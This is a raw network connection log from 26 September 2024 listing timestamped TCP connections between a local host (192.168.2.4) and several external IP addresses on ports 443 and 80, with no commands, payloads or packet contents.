Sep 26, 2024 19:06:33.924844980 CEST	443	59774	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:34.108517885 CEST	443	59773	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:34.108573914 CEST	59773	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:34.109111071 CEST	59773	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:34.109122038 CEST	443	59773	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:34.111500978 CEST	59773	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:34.111509085 CEST	443	59773	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:34.403594971 CEST	443	59774	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:34.403691053 CEST	59774	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:34.405529022 CEST	59774	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:34.405536890 CEST	443	59774	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:34.405893087 CEST	443	59774	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:34.407695055 CEST	59774	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:34.407695055 CEST	59774	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:34.407776117 CEST	443	59774	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:34.960572958 CEST	443	59774	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:34.960853100 CEST	443	59774	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:34.960918903 CEST	59774	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:34.960964918 CEST	59774	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:34.960993052 CEST	443	59774	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:34.961009979 CEST	59774	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:34.961016893 CEST	443	59774	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:34.963778019 CEST	59775	443	192.168.2.4	188.114.97.3
Sep 26, 2024 19:06:34.963819981 CEST	443	59775	188.114.97.3	192.168.2.4
Sep 26, 2024 19:06:34.963886976 CEST	59775	443	192.168.2.4	188.114.97.3
Sep 26, 2024 19:06:34.965298891 CEST	59775	443	192.168.2.4	188.114.97.3
Sep 26, 2024 19:06:34.965315104 CEST	443	59775	188.114.97.3	192.168.2.4
Sep 26, 2024 19:06:35.029772043 CEST	443	59773	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:35.029849052 CEST	443	59773	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:35.029927015 CEST	59773	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:35.030113935 CEST	59773	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:35.030138016 CEST	443	59773	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:35.031667948 CEST	59776	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:35.031706095 CEST	443	59776	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:35.031778097 CEST	59776	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:35.032042027 CEST	59776	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:35.032056093 CEST	443	59776	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:35.549525023 CEST	443	59775	188.114.97.3	192.168.2.4
Sep 26, 2024 19:06:35.549648046 CEST	59775	443	192.168.2.4	188.114.97.3
Sep 26, 2024 19:06:35.550981045 CEST	59775	443	192.168.2.4	188.114.97.3
Sep 26, 2024 19:06:35.550993919 CEST	443	59775	188.114.97.3	192.168.2.4
Sep 26, 2024 19:06:35.551549911 CEST	443	59775	188.114.97.3	192.168.2.4
Sep 26, 2024 19:06:35.552809954 CEST	59775	443	192.168.2.4	188.114.97.3
Sep 26, 2024 19:06:35.552826881 CEST	59775	443	192.168.2.4	188.114.97.3
Sep 26, 2024 19:06:35.552898884 CEST	443	59775	188.114.97.3	192.168.2.4
Sep 26, 2024 19:06:35.754245043 CEST	443	59776	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:35.754462004 CEST	59776	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:35.755984068 CEST	59776	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:35.755994081 CEST	443	59776	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:35.760900974 CEST	59776	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:35.760915041 CEST	443	59776	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:36.463077068 CEST	443	59776	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:36.463167906 CEST	443	59776	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:36.463176012 CEST	59776	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:36.463224888 CEST	59776	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:36.463543892 CEST	59776	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:36.463567019 CEST	443	59776	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:36.488668919 CEST	59777	80	192.168.2.4	45.132.206.251
Sep 26, 2024 19:06:36.493943930 CEST	80	59777	45.132.206.251	192.168.2.4
Sep 26, 2024 19:06:36.494128942 CEST	59777	80	192.168.2.4	45.132.206.251
Sep 26, 2024 19:06:36.494388103 CEST	59777	80	192.168.2.4	45.132.206.251
Sep 26, 2024 19:06:36.494463921 CEST	59777	80	192.168.2.4	45.132.206.251
Sep 26, 2024 19:06:36.499639988 CEST	80	59777	45.132.206.251	192.168.2.4
Sep 26, 2024 19:06:36.499919891 CEST	80	59777	45.132.206.251	192.168.2.4
Sep 26, 2024 19:06:36.500045061 CEST	80	59777	45.132.206.251	192.168.2.4
Sep 26, 2024 19:06:36.500058889 CEST	80	59777	45.132.206.251	192.168.2.4
Sep 26, 2024 19:06:36.500067949 CEST	80	59777	45.132.206.251	192.168.2.4
Sep 26, 2024 19:06:36.500576973 CEST	80	59777	45.132.206.251	192.168.2.4
Sep 26, 2024 19:06:37.248933077 CEST	80	59777	45.132.206.251	192.168.2.4
Sep 26, 2024 19:06:37.249090910 CEST	59777	80	192.168.2.4	45.132.206.251
Sep 26, 2024 19:06:37.985383987 CEST	443	59775	188.114.97.3	192.168.2.4
Sep 26, 2024 19:06:37.985481977 CEST	443	59775	188.114.97.3	192.168.2.4
Sep 26, 2024 19:06:37.986782074 CEST	59775	443	192.168.2.4	188.114.97.3
Sep 26, 2024 19:06:37.986843109 CEST	59775	443	192.168.2.4	188.114.97.3
Sep 26, 2024 19:06:37.986871004 CEST	443	59775	188.114.97.3	192.168.2.4
Sep 26, 2024 19:06:37.986886024 CEST	59775	443	192.168.2.4	188.114.97.3
Sep 26, 2024 19:06:37.986893892 CEST	443	59775	188.114.97.3	192.168.2.4
Sep 26, 2024 19:06:37.988836050 CEST	59778	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:37.988889933 CEST	443	59778	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:37.988951921 CEST	59778	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:37.989245892 CEST	59778	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:37.989262104 CEST	443	59778	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:38.486407042 CEST	443	59778	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:38.486489058 CEST	59778	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:38.498016119 CEST	59778	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:38.498034954 CEST	443	59778	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:38.498373032 CEST	443	59778	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:38.499963045 CEST	59778	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:38.500051975 CEST	59778	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:38.500076056 CEST	443	59778	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:40.681150913 CEST	443	59778	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:40.681251049 CEST	443	59778	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:40.681947947 CEST	59778	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:40.681997061 CEST	59778	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:40.682018995 CEST	443	59778	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:40.682045937 CEST	59778	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:40.682054043 CEST	443	59778	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:40.686012983 CEST	59779	443	192.168.2.4	172.67.162.108
Sep 26, 2024 19:06:40.686058044 CEST	443	59779	172.67.162.108	192.168.2.4
Sep 26, 2024 19:06:40.686153889 CEST	59779	443	192.168.2.4	172.67.162.108
Sep 26, 2024 19:06:40.686989069 CEST	59779	443	192.168.2.4	172.67.162.108
Sep 26, 2024 19:06:40.687004089 CEST	443	59779	172.67.162.108	192.168.2.4
Sep 26, 2024 19:06:41.179131031 CEST	443	59779	172.67.162.108	192.168.2.4
Sep 26, 2024 19:06:41.179233074 CEST	59779	443	192.168.2.4	172.67.162.108
Sep 26, 2024 19:06:41.183145046 CEST	59779	443	192.168.2.4	172.67.162.108
Sep 26, 2024 19:06:41.183155060 CEST	443	59779	172.67.162.108	192.168.2.4
Sep 26, 2024 19:06:41.183723927 CEST	443	59779	172.67.162.108	192.168.2.4
Sep 26, 2024 19:06:41.185642958 CEST	59779	443	192.168.2.4	172.67.162.108
Sep 26, 2024 19:06:41.185642958 CEST	59779	443	192.168.2.4	172.67.162.108
Sep 26, 2024 19:06:41.185884953 CEST	443	59779	172.67.162.108	192.168.2.4
Sep 26, 2024 19:06:42.268327951 CEST	443	59779	172.67.162.108	192.168.2.4
Sep 26, 2024 19:06:42.268438101 CEST	443	59779	172.67.162.108	192.168.2.4
Sep 26, 2024 19:06:42.268806934 CEST	59779	443	192.168.2.4	172.67.162.108
Sep 26, 2024 19:06:42.268974066 CEST	59779	443	192.168.2.4	172.67.162.108
Sep 26, 2024 19:06:42.268996000 CEST	443	59779	172.67.162.108	192.168.2.4
Sep 26, 2024 19:06:42.269042969 CEST	59779	443	192.168.2.4	172.67.162.108
Sep 26, 2024 19:06:42.269049883 CEST	443	59779	172.67.162.108	192.168.2.4
Sep 26, 2024 19:06:42.271981001 CEST	59780	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:42.272017956 CEST	443	59780	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:42.272082090 CEST	59780	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:42.272427082 CEST	59780	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:42.272442102 CEST	443	59780	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:42.761641979 CEST	443	59780	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:42.761732101 CEST	59780	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:42.763284922 CEST	59780	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:42.763293028 CEST	443	59780	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:42.763545990 CEST	443	59780	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:42.764837027 CEST	59780	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:42.764867067 CEST	59780	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:42.764918089 CEST	443	59780	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:42.770139933 CEST	59777	80	192.168.2.4	45.132.206.251
Sep 26, 2024 19:06:43.234172106 CEST	443	59780	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:43.234265089 CEST	443	59780	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:43.234347105 CEST	59780	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:43.234613895 CEST	59780	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:43.234632015 CEST	443	59780	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:43.238051891 CEST	59781	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:43.238080978 CEST	443	59781	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:43.238159895 CEST	59781	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:43.238542080 CEST	59781	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:43.238554955 CEST	443	59781	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:43.742902040 CEST	443	59781	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:43.742979050 CEST	59781	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:43.744502068 CEST	59781	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:43.744509935 CEST	443	59781	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:43.744731903 CEST	443	59781	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:43.746206999 CEST	59781	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:43.746233940 CEST	59781	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:43.746269941 CEST	443	59781	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:44.230068922 CEST	443	59781	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:44.230151892 CEST	443	59781	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:44.230220079 CEST	59781	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:44.230494976 CEST	59781	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:44.230515957 CEST	443	59781	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:44.230531931 CEST	59781	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:44.230537891 CEST	443	59781	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:44.232438087 CEST	59782	443	192.168.2.4	172.67.208.139
Sep 26, 2024 19:06:44.232487917 CEST	443	59782	172.67.208.139	192.168.2.4
Sep 26, 2024 19:06:44.232567072 CEST	59782	443	192.168.2.4	172.67.208.139
Sep 26, 2024 19:06:44.232891083 CEST	59782	443	192.168.2.4	172.67.208.139
Sep 26, 2024 19:06:44.232907057 CEST	443	59782	172.67.208.139	192.168.2.4
Sep 26, 2024 19:06:44.745634079 CEST	443	59782	172.67.208.139	192.168.2.4
Sep 26, 2024 19:06:44.745727062 CEST	59782	443	192.168.2.4	172.67.208.139
Sep 26, 2024 19:06:44.747194052 CEST	59782	443	192.168.2.4	172.67.208.139
Sep 26, 2024 19:06:44.747201920 CEST	443	59782	172.67.208.139	192.168.2.4
Sep 26, 2024 19:06:44.748275995 CEST	443	59782	172.67.208.139	192.168.2.4
Sep 26, 2024 19:06:44.749766111 CEST	59782	443	192.168.2.4	172.67.208.139
Sep 26, 2024 19:06:44.749788046 CEST	59782	443	192.168.2.4	172.67.208.139
Sep 26, 2024 19:06:44.749922991 CEST	443	59782	172.67.208.139	192.168.2.4
Sep 26, 2024 19:06:45.180341959 CEST	443	59782	172.67.208.139	192.168.2.4
Sep 26, 2024 19:06:45.180430889 CEST	443	59782	172.67.208.139	192.168.2.4
Sep 26, 2024 19:06:45.180706024 CEST	59782	443	192.168.2.4	172.67.208.139
Sep 26, 2024 19:06:45.180999041 CEST	59782	443	192.168.2.4	172.67.208.139
Sep 26, 2024 19:06:45.181018114 CEST	443	59782	172.67.208.139	192.168.2.4
Sep 26, 2024 19:06:45.181030035 CEST	59782	443	192.168.2.4	172.67.208.139
Sep 26, 2024 19:06:45.181035995 CEST	443	59782	172.67.208.139	192.168.2.4
Sep 26, 2024 19:06:45.193303108 CEST	59783	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:45.193360090 CEST	443	59783	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:45.193531036 CEST	59783	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:45.193947077 CEST	59783	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:45.193968058 CEST	443	59783	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:45.842401981 CEST	443	59783	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:45.842485905 CEST	59783	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:45.844122887 CEST	59783	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:45.844139099 CEST	443	59783	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:45.844472885 CEST	443	59783	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:45.846359968 CEST	59783	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:45.887419939 CEST	443	59783	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:46.349968910 CEST	443	59783	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:46.350034952 CEST	443	59783	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:46.350078106 CEST	443	59783	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:46.350121975 CEST	59783	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:46.350158930 CEST	443	59783	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:46.350178003 CEST	59783	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:46.350204945 CEST	59783	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:46.452954054 CEST	443	59783	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:46.453006029 CEST	443	59783	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:46.453047037 CEST	59783	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:46.453077078 CEST	443	59783	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:46.453094006 CEST	59783	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:46.453115940 CEST	59783	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:46.458359003 CEST	443	59783	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:46.458427906 CEST	59783	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:46.458436012 CEST	443	59783	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:46.458529949 CEST	443	59783	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:46.458538055 CEST	59783	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:46.458585024 CEST	59783	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:46.458595037 CEST	443	59783	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:46.458611012 CEST	443	59783	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:46.458615065 CEST	59783	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:46.458623886 CEST	443	59783	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:46.460702896 CEST	59784	443	192.168.2.4	104.21.2.13
Sep 26, 2024 19:06:46.460747957 CEST	443	59784	104.21.2.13	192.168.2.4
Sep 26, 2024 19:06:46.460829973 CEST	59784	443	192.168.2.4	104.21.2.13
Sep 26, 2024 19:06:46.461185932 CEST	59784	443	192.168.2.4	104.21.2.13
Sep 26, 2024 19:06:46.461203098 CEST	443	59784	104.21.2.13	192.168.2.4
Sep 26, 2024 19:06:46.948695898 CEST	443	59784	104.21.2.13	192.168.2.4
Sep 26, 2024 19:06:46.948761940 CEST	59784	443	192.168.2.4	104.21.2.13
Sep 26, 2024 19:06:46.950562954 CEST	59784	443	192.168.2.4	104.21.2.13
Sep 26, 2024 19:06:46.950576067 CEST	443	59784	104.21.2.13	192.168.2.4
Sep 26, 2024 19:06:46.950907946 CEST	443	59784	104.21.2.13	192.168.2.4
Sep 26, 2024 19:06:46.952266932 CEST	59784	443	192.168.2.4	104.21.2.13
Sep 26, 2024 19:06:46.952320099 CEST	59784	443	192.168.2.4	104.21.2.13
Sep 26, 2024 19:06:46.952351093 CEST	443	59784	104.21.2.13	192.168.2.4
Sep 26, 2024 19:06:47.412367105 CEST	443	59784	104.21.2.13	192.168.2.4
Sep 26, 2024 19:06:47.412486076 CEST	443	59784	104.21.2.13	192.168.2.4
Sep 26, 2024 19:06:47.413027048 CEST	59784	443	192.168.2.4	104.21.2.13
Sep 26, 2024 19:06:47.414700031 CEST	59784	443	192.168.2.4	104.21.2.13
Sep 26, 2024 19:06:47.414720058 CEST	443	59784	104.21.2.13	192.168.2.4
Sep 26, 2024 19:06:47.414736032 CEST	59784	443	192.168.2.4	104.21.2.13
Sep 26, 2024 19:06:47.414741993 CEST	443	59784	104.21.2.13	192.168.2.4
Sep 26, 2024 19:06:52.799474001 CEST	59785	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:52.799542904 CEST	443	59785	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:52.799664974 CEST	59785	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:52.802057028 CEST	59785	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:52.802078962 CEST	443	59785	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:53.507038116 CEST	443	59785	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:53.507214069 CEST	59785	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:53.555661917 CEST	59785	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:53.555689096 CEST	443	59785	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:53.555973053 CEST	443	59785	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:53.557008028 CEST	59785	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:53.558254004 CEST	59785	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:53.599406958 CEST	443	59785	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:54.023905039 CEST	443	59785	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:54.023936987 CEST	443	59785	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:54.023957968 CEST	443	59785	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:54.024023056 CEST	59785	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:54.024060965 CEST	443	59785	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:54.024089098 CEST	59785	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:54.024142027 CEST	59785	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:54.118541956 CEST	443	59785	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:54.118577003 CEST	443	59785	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:54.118695974 CEST	59785	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:54.118730068 CEST	443	59785	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:54.118757963 CEST	59785	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:54.118779898 CEST	59785	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:54.120743036 CEST	443	59785	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:54.120800972 CEST	59785	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:54.120810986 CEST	443	59785	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:54.120877028 CEST	443	59785	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:54.120932102 CEST	59785	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:54.211268902 CEST	59785	443	192.168.2.4	104.102.49.254
Sep 26, 2024 19:06:54.211294889 CEST	443	59785	104.102.49.254	192.168.2.4
Sep 26, 2024 19:06:54.383616924 CEST	59786	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:54.383709908 CEST	443	59786	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:54.383809090 CEST	59786	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:54.386917114 CEST	59786	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:54.386955023 CEST	443	59786	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:55.107532978 CEST	443	59786	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:55.107614040 CEST	59786	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:55.111047983 CEST	59786	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:55.111054897 CEST	443	59786	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:55.111469984 CEST	443	59786	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:55.111542940 CEST	59786	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:55.111885071 CEST	59786	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:55.159408092 CEST	443	59786	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:55.743345976 CEST	443	59786	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:55.743449926 CEST	59786	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:55.743478060 CEST	443	59786	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:55.743539095 CEST	59786	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:55.744597912 CEST	59786	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:55.744642973 CEST	443	59786	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:55.746975899 CEST	59787	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:55.747028112 CEST	443	59787	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:55.747121096 CEST	59787	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:55.747323036 CEST	59787	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:55.747337103 CEST	443	59787	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:56.435009956 CEST	443	59787	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:56.435224056 CEST	59787	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:56.435897112 CEST	59787	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:56.435906887 CEST	443	59787	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:56.437616110 CEST	59787	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:56.437621117 CEST	443	59787	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:57.144957066 CEST	443	59787	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:57.145097971 CEST	59787	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:57.145133972 CEST	443	59787	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:57.145185947 CEST	59787	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:57.145436049 CEST	59787	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:57.145490885 CEST	443	59787	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:57.145555973 CEST	59787	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:57.147330999 CEST	59788	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:57.147377014 CEST	443	59788	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:57.147460938 CEST	59788	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:57.147732973 CEST	59788	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:57.147749901 CEST	443	59788	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:57.916115046 CEST	443	59788	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:57.916233063 CEST	59788	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:57.919645071 CEST	59788	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:57.919666052 CEST	443	59788	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:57.919987917 CEST	443	59788	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:57.920059919 CEST	59788	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:57.920409918 CEST	59788	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:57.963421106 CEST	443	59788	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:58.641859055 CEST	443	59788	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:58.641886950 CEST	443	59788	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:58.641963959 CEST	443	59788	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:58.641963959 CEST	59788	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:58.641977072 CEST	59788	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:58.642021894 CEST	59788	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:58.642308950 CEST	59788	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:58.642326117 CEST	443	59788	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:58.644064903 CEST	59789	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:58.644087076 CEST	443	59789	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:58.644176960 CEST	59789	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:58.644407034 CEST	59789	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:58.644417048 CEST	443	59789	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:59.402714014 CEST	443	59789	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:59.402776957 CEST	59789	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:59.403306007 CEST	59789	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:59.403311968 CEST	443	59789	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:59.405431986 CEST	59789	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:59.405436993 CEST	443	59789	5.75.211.162	192.168.2.4
